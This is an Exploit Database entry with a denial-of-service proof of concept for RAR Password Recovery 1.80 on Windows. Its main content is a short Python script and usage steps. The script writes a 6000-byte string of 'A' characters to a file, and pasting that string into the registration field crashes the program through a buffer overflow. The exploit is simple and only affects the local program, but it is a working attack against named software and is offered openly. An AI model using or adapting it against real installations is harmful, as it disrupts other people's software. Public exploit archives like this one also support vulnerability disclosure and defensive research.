EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

# RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service

**EDB-ID:**
47285

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
ACHILLES

**Type:**
DOS

**Exploit:** / {}

**Platform:**
WINDOWS

**Date:**
2019-08-19

**Vulnerable App:**

```
# Exploit Title: RAR Password Recovery v1.80 Denial of Service Exploit
# Date: 16.08.2019
# Vendor Homepage:https://www.top-password.com/
# Software Link:  https://www.top-password.com/download/RARPRSetup.exe
# Exploit Author: Achilles
# Tested Version: v1.80
# Tested on: Windows 7 x64
#            Windows XP SP3


# 1.- Run python code :RAR Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open RAR Password Recovery and Click 'Register'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and
Registration Code'
# 5.- Click 'OK' and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
    f=open("Evil.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

**Tags:** Denial of Service (DoS), Buffer Overflow

**Advisory/Source:** Link

Databases

Links

Sites

Solutions

EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES

©

OffSec Services Limited 2026. All rights reserved.